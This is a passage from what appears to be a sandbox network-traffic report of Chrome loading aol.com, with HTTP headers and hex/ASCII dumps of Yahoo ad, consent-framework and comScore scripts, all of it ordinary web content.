href="https://s.aolcdn.com/caas-assets-production/assets/v1/notification_banner.ae48c4e59d83a951.css"/><link rel="stylesheet" href="https://s.aolcdn.com/caas-assets-production/assets/v1/dl.83a88a
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 22 5f 5f 74 63 66 61 70 69 4c 6f 63 61 74 6f 72 22 2c 74 2e 62 6f 64 79 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 65 6c 73 65 20 73 65 74 54 69 6d 65 6f 75 74 28 65 2c 35 29 3b 72 65 74 75 72 6e 21 6e 7d 28 29 2c 73 2e 5f 5f 74 63 66 61 70 69 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 74 3d 6e 65 77 20 41 72 72 61 79 28 65 29 2c 73 3d 30 3b 73 3c 65 3b 73 2b 2b 29 74 5b 73 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 73 5d 3b 69 66 28 21 74 2e 6c 65 6e 67 74 68 29 72 65 74 75 72 6e 20 61 3b 22 73 65 74 47 64 70 72 41 70 70 6c 69 65 73 22 3d 3d 3d 74 5b 30 5d 3f 74 2e 6c 65 6e 67 74 68 3e 33 26 26 32 3d 3d 3d 70 61 72 73 65 49 6e 74 28 74 5b 31 5d 2c 31 30 29 26 26 22 62 6f 6f 6c 65 61 Data Ascii: "__tcfapiLocator",t.body.appendChild(a)}else setTimeout(e,5);return!n}(),s.__tcfapi=function(){for(var e=arguments.length,t=new Array(e),s=0;s<e;s++)t[s]=arguments[s];if(!t.length)return a;"setGdprApplies"===t[0]?t.length>3&&2===parseInt(t[1],10)&&"boolea
2024-05-23 22:34:30 UTC	1300	IN	Data Raw: 72 65 74 75 72 6e 20 5f 5f 67 70 70 2e 65 76 65 6e 74 73 3b 76 61 72 20 74 3d 65 5b 30 5d 2c 6e 3d 65 2e 6c 65 6e 67 74 68 3e 31 3f 65 5b 31 5d 3a 6e 75 6c 6c 2c 61 3d 65 2e 6c 65 6e 67 74 68 3e 32 3f 65 5b 32 5d 3a 6e 75 6c 6c 3b 69 66 28 22 70 69 6e 67 22 3d 3d 3d 74 29 6e 28 7b 67 70 70 56 65 72 73 69 6f 6e 3a 22 31 2e 31 22 2c 63 6d 70 53 74 61 74 75 73 3a 22 73 74 75 62 22 2c 63 6d 70 44 69 73 70 6c 61 79 53 74 61 74 75 73 3a 22 68 69 64 64 65 6e 22 2c 73 69 67 6e 61 6c 53 74 61 74 75 73 3a 22 6e 6f 74 20 72 65 61 64 79 22 2c 73 75 70 70 6f 72 74 65 64 41 50 49 73 3a 5b 22 32 3a 74 63 66 65 75 76 32 22 2c 22 35 3a 74 63 66 63 61 76 31 22 2c 22 36 3a 75 73 70 76 31 22 2c 22 37 3a 75 73 6e 61 74 76 31 22 2c 22 38 3a 75 73 63 61 76 31 22 2c 22 39 3a 75 Data Ascii: return __gpp.events;var t=e[0],n=e.length>1?e[1]:null,a=e.length>2?e[2]:null;if("ping"===t)n({gppVersion:"1.1",cmpStatus:"stub",cmpDisplayStatus:"hidden",signalStatus:"not ready",supportedAPIs:["2:tcfeuv2","5:tcfcav1","6:uspv1","7:usnatv1","8:uscav1","9:u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	49739	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:31 UTC	530	OUT	GET /aaq/benji/benji-2.1.46.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:31 UTC	854	IN	HTTP/1.1 200 OK x-amz-id-2: +am/5KSCuqVVttPU4ZdwLV3chT3sCeeMXp8DK5ttE0fBGevFZwWqWL/J6ZzljniqDL+mNFyj8do= x-amz-request-id: 8P32E33WD0HN73ND Date: Wed, 22 May 2024 03:44:34 GMT Last-Modified: Tue, 21 May 2024 00:55:36 GMT ETag: "a9fa0a919c6a7d6d5e5a590ffc35f718" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: aKiotbBXM0FaHhGzWAhzP8y.Bib21JHD Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 74556 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 154198 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 63 6f 6e 73 74 20 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 3f 77 69 6e 64 6f 77 3a 7b 62 65 6e 6a 69 3a 7b 7d 2c 67 6f 6f 67 6c 65 74 61 67 3a 7b 63 6d 64 3a 5b 5d 7d 2c 70 62 6a 73 3a 7b 71 75 65 3a 5b 5d 7d 2c 59 41 48 4f 4f 3a 7b 7d 7d 3b 50 72 6f 6d 69 73 65 2e 61 6c 6c 53 65 74 74 6c 65 64 3d 50 72 6f 6d 69 73 65 2e 61 6c 6c 53 65 74 74 6c 65 64 7c 7c 28 65 3d 3e 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 65 2e 6d 61 70 28 28 65 3d 3e 65 2e 74 68 65 6e 28 28 65 3d 3e 28 7b 73 74 61 74 75 73 3a 22 66 75 6c 66 69 6c 6c 65 64 22 2c 76 61 6c 75 65 3a 65 7d 29 29 29 2e 63 61 74 63 68 28 28 65 3d 3e 28 7b 72 65 61 73 6f 6e 3a 65 2c 73 74 61 74 75 Data Ascii: !function(){"use strict";const e="undefined"!=typeof window?window:{benji:{},googletag:{cmd:[]},pbjs:{que:[]},YAHOO:{}};Promise.allSettled=Promise.allSettled\|\|(e=>Promise.all(e.map((e=>e.then((e=>({status:"fulfilled",value:e}))).catch((e=>({reason:e,statu
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 32 2c 32 5d 7d 2c 53 70 6f 74 6c 69 67 68 74 3a 7b 62 72 65 61 6b 70 6f 69 6e 74 73 3a 7b 22 30 2c 34 38 30 22 3a 5b 38 2c 39 5d 7d 2c 73 69 7a 65 3a 5b 33 2c 32 5d 7d 2c 54 72 61 64 65 4e 6f 77 3a 7b 73 69 7a 65 3a 5b 32 38 30 2c 35 35 5d 7d 7d 2c 6b 3d 7b 22 5b 31 34 34 30 2c 31 30 32 34 5d 22 3a 22 4c 6f 67 69 6e 22 2c 22 5b 32 2c 32 5d 22 3a 22 4c 69 67 68 74 68 6f 75 73 65 22 2c 22 5b 32 38 30 2c 35 35 5d 22 3a 22 54 72 61 64 65 4e 6f 77 22 2c 22 5b 33 2c 31 5d 22 3a 22 48 6f 72 69 7a 6f 6e 22 2c 22 5b 33 2c 32 5d 22 3a 22 53 70 6f 74 6c 69 67 68 74 22 2c 22 5b 33 34 33 2c 33 31 30 5d 22 3a 22 46 65 61 74 75 72 65 64 42 72 6f 6b 65 72 4d 77 65 62 22 2c 22 5b 37 35 38 2c 31 39 38 5d 22 3a 22 46 65 61 74 75 72 65 64 42 72 6f 6b 65 72 22 7d 2c 4c 3d 22 Data Ascii: 2,2]},Spotlight:{breakpoints:{"0,480":[8,9]},size:[3,2]},TradeNow:{size:[280,55]}},k={"[1440,1024]":"Login","[2,2]":"Lighthouse","[280,55]":"TradeNow","[3,1]":"Horizon","[3,2]":"Spotlight","[343,310]":"FeaturedBrokerMweb","[758,198]":"FeaturedBroker"},L="
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 6e 5f 65 6e 72 69 63 68 65 64 22 2c 4c 49 5f 4f 4e 5f 4e 4f 54 5f 45 4e 52 49 43 48 45 44 3a 22 6c 69 76 65 69 6e 74 65 6e 74 69 64 5f 6f 6e 5f 6e 6f 74 5f 65 6e 72 69 63 68 65 64 22 2c 4c 49 5f 52 45 50 4f 52 54 49 4e 47 5f 4b 45 59 3a 22 6c 69 2d 6d 6f 64 75 6c 65 2d 65 6e 61 62 6c 65 64 22 2c 4c 49 56 45 49 4e 54 45 4e 54 5f 49 44 3a 22 6c 69 76 65 49 6e 74 65 6e 74 49 64 22 2c 4e 4f 5f 49 44 5f 53 4f 4c 55 54 49 4f 4e 3a 22 6e 6f 5f 69 64 5f 73 6f 6c 75 74 69 6f 6e 22 2c 74 30 3a 22 74 30 22 2c 74 31 3a 22 74 31 22 2c 77 61 3a 22 2d 77 61 22 2c 77 73 3a 22 2d 77 73 22 7d 2c 58 3d 7b 6c 69 6d 69 74 65 64 41 64 73 3a 21 30 2c 72 65 73 74 72 69 63 74 44 61 74 61 50 72 6f 63 65 73 73 69 6e 67 3a 21 30 7d 2c 5a 3d 7b 6e 6f 6e 50 65 72 73 6f 6e 61 6c 69 7a Data Ascii: n_enriched",LI_ON_NOT_ENRICHED:"liveintentid_on_not_enriched",LI_REPORTING_KEY:"li-module-enabled",LIVEINTENT_ID:"liveIntentId",NO_ID_SOLUTION:"no_id_solution",t0:"t0",t1:"t1",wa:"-wa",ws:"-ws"},X={limitedAds:!0,restrictDataProcessing:!0},Z={nonPersonaliz
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 5f 72 6f 67 65 72 73 5f 6d 61 69 6c 22 2c 65 2e 79 61 68 6f 6f 5f 62 69 7a 6d 61 69 6c 5f 6d 61 69 6c 3d 22 79 61 68 6f 6f 5f 62 69 7a 6d 61 69 6c 5f 6d 61 69 6c 22 2c 65 2e 79 61 68 6f 6f 5f 61 74 74 5f 6d 61 69 6c 3d 22 79 61 68 6f 6f 5f 61 74 74 5f 6d 61 69 6c 22 2c 65 2e 79 61 68 6f 6f 5f 66 72 6f 6e 74 69 65 72 5f 6d 61 69 6c 3d 22 79 61 68 6f 6f 5f 66 72 6f 6e 74 69 65 72 5f 6d 61 69 6c 22 2c 65 2e 79 61 68 6f 6f 5f 76 65 72 69 7a 6f 6e 5f 6d 61 69 6c 3d 22 79 61 68 6f 6f 5f 76 65 72 69 7a 6f 6e 5f 6d 61 69 6c 22 2c 65 2e 79 61 68 6f 6f 5f 6c 6f 67 69 6e 3d 22 79 61 68 6f 6f 5f 6c 6f 67 69 6e 22 2c 65 2e 61 6f 6c 5f 6c 6f 67 69 6e 3d 22 61 6f 6c 5f 6c 6f 67 69 6e 22 7d 28 72 65 7c 7c 28 72 65 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 61 65 3d 7b 2e 2e 2e Data Ascii: _rogers_mail",e.yahoo_bizmail_mail="yahoo_bizmail_mail",e.yahoo_att_mail="yahoo_att_mail",e.yahoo_frontier_mail="yahoo_frontier_mail",e.yahoo_verizon_mail="yahoo_verizon_mail",e.yahoo_login="yahoo_login",e.aol_login="aol_login"}(re\|\|(re={}));const ae={...
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 67 36 6d 76 78 7a 7a 36 22 2c 73 61 6e 64 62 6f 78 3a 22 64 32 32 75 37 71 31 73 63 63 75 36 75 70 22 7d 2c 66 65 3d 5b 31 31 38 33 33 33 35 36 35 30 2c 39 38 30 37 38 37 36 39 30 2c 31 31 38 33 33 33 36 30 38 39 2c 39 35 39 35 32 32 35 33 30 2c 39 35 39 35 32 34 30 31 32 2c 39 38 30 37 35 31 38 31 33 2c 39 38 30 37 35 31 38 31 34 2c 39 38 30 37 35 31 38 31 35 2c 31 31 39 37 38 30 36 38 37 36 2c 39 35 39 35 32 32 33 36 36 2c 39 35 39 35 32 34 30 31 33 2c 31 31 39 37 38 30 38 31 36 32 2c 31 31 39 37 38 30 38 31 36 33 2c 31 31 39 37 38 30 38 31 36 34 2c 31 31 38 33 33 33 36 31 31 36 2c 39 35 39 35 32 33 34 32 36 2c 31 31 38 33 33 33 36 31 31 35 2c 39 35 39 35 32 33 33 39 35 2c 31 31 38 33 33 33 36 31 31 36 2c 39 35 39 35 32 33 34 32 36 2c 31 31 39 37 38 30 Data Ascii: g6mvxzz6",sandbox:"d22u7q1sccu6up"},fe=[1183335650,980787690,1183336089,959522530,959524012,980751813,980751814,980751815,1197806876,959522366,959524013,1197808162,1197808163,1197808164,1183336116,959523426,1183336115,959523395,1183336116,959523426,119780
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 35 36 2c 31 31 39 37 38 31 32 31 35 37 2c 31 31 39 37 38 31 32 31 35 38 2c 31 31 39 37 38 31 32 31 35 39 2c 31 31 39 37 38 31 32 31 36 30 2c 31 31 39 37 38 31 32 31 36 31 2c 31 31 39 37 38 31 32 31 36 32 2c 31 31 39 37 38 31 32 31 36 33 2c 31 31 39 37 38 31 32 31 36 34 5d 3b 76 61 72 20 6d 65 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 6f 6c 5f 77 65 62 74 65 73 74 3d 22 61 6f 6c 2d 77 65 62 74 65 73 74 22 2c 65 2e 76 61 6c 69 64 50 75 62 6c 69 73 68 65 72 49 64 3d 22 76 61 6c 69 64 50 75 62 6c 69 73 68 65 72 22 2c 65 2e 79 61 68 6f 6f 77 65 62 5f 6e 65 74 77 6f 72 6b 3d 22 79 61 68 6f 6f 77 65 62 2d 6e 65 74 77 6f 72 6b 22 2c 65 2e 79 61 68 6f 6f 5f 61 6f 6c 5f 6e 65 74 77 6f 72 6b 3d 22 79 61 68 6f 6f 2d 61 6f 6c 2d 6e 65 74 77 6f 72 6b 22 7d 28 Data Ascii: 56,1197812157,1197812158,1197812159,1197812160,1197812161,1197812162,1197812163,1197812164];var me;!function(e){e.aol_webtest="aol-webtest",e.validPublisherId="validPublisher",e.yahooweb_network="yahooweb-network",e.yahoo_aol_network="yahoo-aol-network"}(
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 68 4d 61 72 67 69 6e 50 65 72 63 65 6e 74 3a 2d 31 2c 6d 6f 62 69 6c 65 53 63 61 6c 69 6e 67 3a 2d 31 2c 72 65 6e 64 65 72 4d 61 72 67 69 6e 50 65 72 63 65 6e 74 3a 35 30 7d 2c 6b 65 3d 22 52 45 4e 44 45 52 5f 53 55 43 43 45 45 44 45 44 22 2c 4c 65 3d 22 52 45 4e 44 45 52 5f 46 41 49 4c 45 44 22 2c 50 65 3d 22 53 4c 4f 54 5f 52 45 51 55 45 53 54 45 44 22 2c 4f 65 3d 22 47 41 4d 5f 41 44 5f 50 41 47 45 5f 4c 4f 41 44 5f 43 4f 4d 50 4c 45 54 45 22 2c 42 65 3d 22 53 4c 4f 54 5f 52 45 53 50 4f 4e 53 45 5f 52 45 43 45 49 56 45 44 22 2c 6a 65 3d 22 49 4d 50 52 45 53 53 49 4f 4e 5f 56 49 45 57 41 42 4c 45 22 2c 7a 65 3d 22 59 50 42 5f 41 44 5f 53 54 41 43 4b 5f 52 45 53 4f 4c 56 45 44 22 2c 44 65 3d 7b 61 6c 6c 6f 77 4f 76 65 72 6c 61 79 45 78 70 61 6e 73 69 6f Data Ascii: hMarginPercent:-1,mobileScaling:-1,renderMarginPercent:50},ke="RENDER_SUCCEEDED",Le="RENDER_FAILED",Pe="SLOT_REQUESTED",Oe="GAM_AD_PAGE_LOAD_COMPLETE",Be="SLOT_RESPONSE_RECEIVED",je="IMPRESSION_VIEWABLE",ze="YPB_AD_STACK_RESOLVED",De={allowOverlayExpansio
2024-05-23 22:34:31 UTC	1300	IN	Data Raw: 7d 29 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 6c 75 72 22 2c 28 28 29 3d 3e 7b 73 3d 21 31 2c 6f 3d 44 61 74 65 2e 6e 6f 77 28 29 7d 29 29 7d 63 6f 6e 73 74 20 51 65 3d 22 64 65 66 61 75 6c 74 22 3b 66 75 6e 63 74 69 6f 6e 20 59 65 28 65 2c 74 2c 69 29 7b 6c 65 74 20 6e 2c 73 2c 6f 2c 72 2c 61 3d 2d 31 3b 69 66 28 22 75 70 22 3d 3d 3d 69 29 66 6f 72 28 6e 3d 65 2e 74 6f 70 2c 73 3d 65 2e 62 6f 74 74 6f 6d 3b 6e 3c 3d 73 3b 29 61 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 6e 2b 73 29 2f 32 29 2c 6f 3d 64 6f 63 75 6d 65 6e 74 2e 65 6c 65 6d 65 6e 74 46 72 6f 6d 50 6f 69 6e 74 28 65 2e 6c 65 66 74 2c 61 29 2c 6f 3d 3d 3d 74 3f 73 3d 61 2d 31 3a 6e 3d 61 2b 31 3b 65 6c 73 65 20 69 66 28 22 64 6f 77 6e 22 3d 3d 3d 69 29 66 6f 72 28 6e Data Ascii: })),e.addEventListener("blur",(()=>{s=!1,o=Date.now()}))}const Qe="default";function Ye(e,t,i){let n,s,o,r,a=-1;if("up"===i)for(n=e.top,s=e.bottom;n<=s;)a=Math.floor((n+s)/2),o=document.elementFromPoint(e.left,a),o===t?s=a-1:n=a+1;else if("down"===i)for(n
2024-05-23 22:34:32 UTC	1300	IN	Data Raw: 74 2e 65 6c 65 6d 65 6e 74 46 72 6f 6d 50 6f 69 6e 74 28 65 2c 69 29 3b 69 66 28 6e 21 3d 3d 74 26 26 21 74 2e 63 6f 6e 74 61 69 6e 73 28 6e 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 31 7d 28 7b 62 6f 74 74 6f 6d 3a 63 2c 6c 65 66 74 3a 6f 2c 72 69 67 68 74 3a 72 2c 74 6f 70 3a 61 7d 2c 65 29 29 7b 63 6f 6e 73 74 20 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 63 6f 6e 73 74 7b 74 6f 70 3a 6e 2c 62 6f 74 74 6f 6d 3a 73 2c 6c 65 66 74 3a 6f 2c 72 69 67 68 74 3a 72 7d 3d 65 3b 74 72 79 7b 63 6f 6e 73 74 20 65 3d 59 65 28 7b 62 6f 74 74 6f 6d 3a 73 2c 6c 65 66 74 3a 6f 2c 72 69 67 68 74 3a 72 2c 74 6f 70 3a 6e 7d 2c 74 2c 22 75 70 22 29 2c 61 3d 59 65 28 7b 62 6f 74 74 6f 6d 3a 73 2c 6c 65 66 74 3a 6f 2c 72 69 67 68 74 3a 72 2c 74 6f 70 Data Ascii: t.elementFromPoint(e,i);if(n!==t&&!t.contains(n))return!0}return!1}({bottom:c,left:o,right:r,top:a},e)){const t=function(e,t,i){const{top:n,bottom:s,left:o,right:r}=e;try{const e=Ye({bottom:s,left:o,right:r,top:n},t,"up"),a=Ye({bottom:s,left:o,right:r,top
2024-05-23 22:34:32 UTC	1300	IN	Data Raw: 57 69 74 68 28 22 2d 61 64 22 29 29 7c 7c 6e 3f 2e 63 6c 61 73 73 4e 61 6d 65 3f 2e 73 74 61 72 74 73 57 69 74 68 28 22 61 64 2d 22 29 7c 7c 6e 3f 2e 63 6c 61 73 73 4c 69 73 74 3f 2e 63 6f 6e 74 61 69 6e 73 28 22 6e 61 74 69 76 65 2d 61 64 22 29 29 26 26 28 69 3d 6e 29 2c 6e 3d 6e 26 26 6e 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 20 69 7d 3b 66 75 6e 63 74 69 6f 6e 20 74 74 28 65 29 7b 69 66 28 65 3c 30 7c 7c 65 3e 31 30 30 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 31 30 30 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 3c 3d 65 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 63 6f 6e 73 74 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 66 6f 72 45 61 Data Ascii: With("-ad"))\|\|n?.className?.startsWith("ad-")\|\|n?.classList?.contains("native-ad"))&&(i=n),n=n&&n.parentElement;return i};function tt(e){if(e<0\|\|e>100)return!1;return Math.floor(100*Math.random())<=e}function it(e,t){const i={};return Object.keys(e).forEa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49740	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:31 UTC	524	OUT	GET /aaq/vzm/cs_1.6.1.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	885	IN	HTTP/1.1 200 OK x-amz-id-2: ySjxtJGjTpsEmKOaeyhNvfVPD1J6fDmNhpMoCO+yDSoLLEa5JuAnC2lcIQknuoBLBU+6gNGmKLU1WZWQWpGR8NQaXacBWXNS/G4TTW1WbXs= x-amz-request-id: NZS3BPM23BN0H1Q1 Date: Wed, 22 May 2024 06:36:54 GMT Last-Modified: Wed, 24 Apr 2024 21:40:35 GMT ETag: "fb8e60e0c2f56c3b00cbf93d69ef7179" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: DcwEO_sUkqHn4kU5FICbJYINEuqS55Nr Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 1333 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 143858 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:32 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 77 69 6e 64 6f 77 2c 74 3d 63 2e 64 6f 63 75 6d 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 6e 2c 65 2c 72 29 7b 69 66 28 21 74 7c 7c 21 6e 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 63 5b 74 5d 29 72 65 74 75 72 6e 20 72 28 29 3b 74 72 79 7b 63 5b 74 5d 28 6e 2c 65 2c 28 66 75 6e 63 74 69 6f 6e 28 63 2c 74 29 7b 72 28 63 2c 74 29 7d 29 29 7d 63 61 74 63 68 28 63 29 7b 72 28 29 7d 7d 63 2e 43 4f 4d 53 43 4f 52 45 3d 7b 5f 76 65 72 73 69 6f 6e 3a 22 31 2e 36 2e 31 22 2c 62 65 61 63 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 28 22 5f 5f 75 73 70 61 70 69 22 2c 22 67 65 74 44 6f 4e 6f 74 53 65 6c 6c 22 2c 31 2c 28 66 75 6e 63 74 69 6f Data Ascii: !function(){"use strict";var c=window,t=c.document;function n(t,n,e,r){if(!t\|\|!n\|\|"function"!=typeof c[t])return r();try{c[t](n,e,(function(c,t){r(c,t)}))}catch(c){r()}}c.COMSCORE={_version:"1.6.1",beacon:function(e){n("__uspapi","getDoNotSell",1,(functio
2024-05-23 22:34:32 UTC	33	IN	Data Raw: 68 69 66 74 28 29 29 7d 7d 2c 63 2e 43 4f 4d 53 43 4f 52 45 2e 70 75 72 67 65 28 29 7d 28 29 3b 0a Data Ascii: hift())}},c.COMSCORE.purge()}();

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49741	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:31 UTC	547	OUT	GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	809	IN	HTTP/1.1 200 OK x-amz-id-2: 6yuLkoQSjxhUM0y5gMFEhtpKCczK8F0dNmc9MYQ9xh5PeD83KB4Ir1+r8VJZkcu/gqmuL93Dy/E= x-amz-request-id: PEA21KW3PXVJHACZ Date: Thu, 23 May 2024 16:56:29 GMT Last-Modified: Tue, 19 May 2020 03:33:21 GMT ETag: "ca243b22264dca7a4a899c51cc2dc963" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public, immutable Accept-Ranges: bytes Content-Type: application/x-javascript Server: ATS Content-Length: 158 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-05-23 22:34:32 UTC	158	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 64 69 76 20 69 64 3d 22 61 64 76 65 72 74 69 73 65 6d 65 6e 74 2d 74 68 61 6d 62 61 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 44 69 73 70 6c 61 79 20 41 64 76 65 72 74 69 73 65 6d 65 6e 74 3c 2f 64 69 76 3e 27 29 3b 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 2c 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 0a Data Ascii: document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49733	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:32 UTC	581	OUT	GET /td-app-aol-production/assets/v1/css/layout/main.289df0da.css HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:32 UTC	959	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 884444 Cache-Control: max-age=365000000, immutable Content-Type: text/css; charset=utf-8 Date: Thu, 23 May 2024 22:34:32 GMT Etag: "289df0daf19743e436dec2420e11da08" Last-Modified: Tue, 07 May 2024 20:53:46 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/370C) Vary: Accept-Encoding x-amz-id-2: tUt+3JEIrpRvWyniix+L2fRUAbNukfeEJu4agxOUIP38JNLGKq9nO+EVejPd0UhvWIWjurYEKOM= x-amz-request-id: HCSYVAHXCNZ4QY6T x-amz-server-side-encryption: AES256 x-amz-version-id: D0n0pWgcRvAfjI4E.Ay5SItIqeUWVH5S X-Cache: HIT Content-Length: 8636 Connection: close
